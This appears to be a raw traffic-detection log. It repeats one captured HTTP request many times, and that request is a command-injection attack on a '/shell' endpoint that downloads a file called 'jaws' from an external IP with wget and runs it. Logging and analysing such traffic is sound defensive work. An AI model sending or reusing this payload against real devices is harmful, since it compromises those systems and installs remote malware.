Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
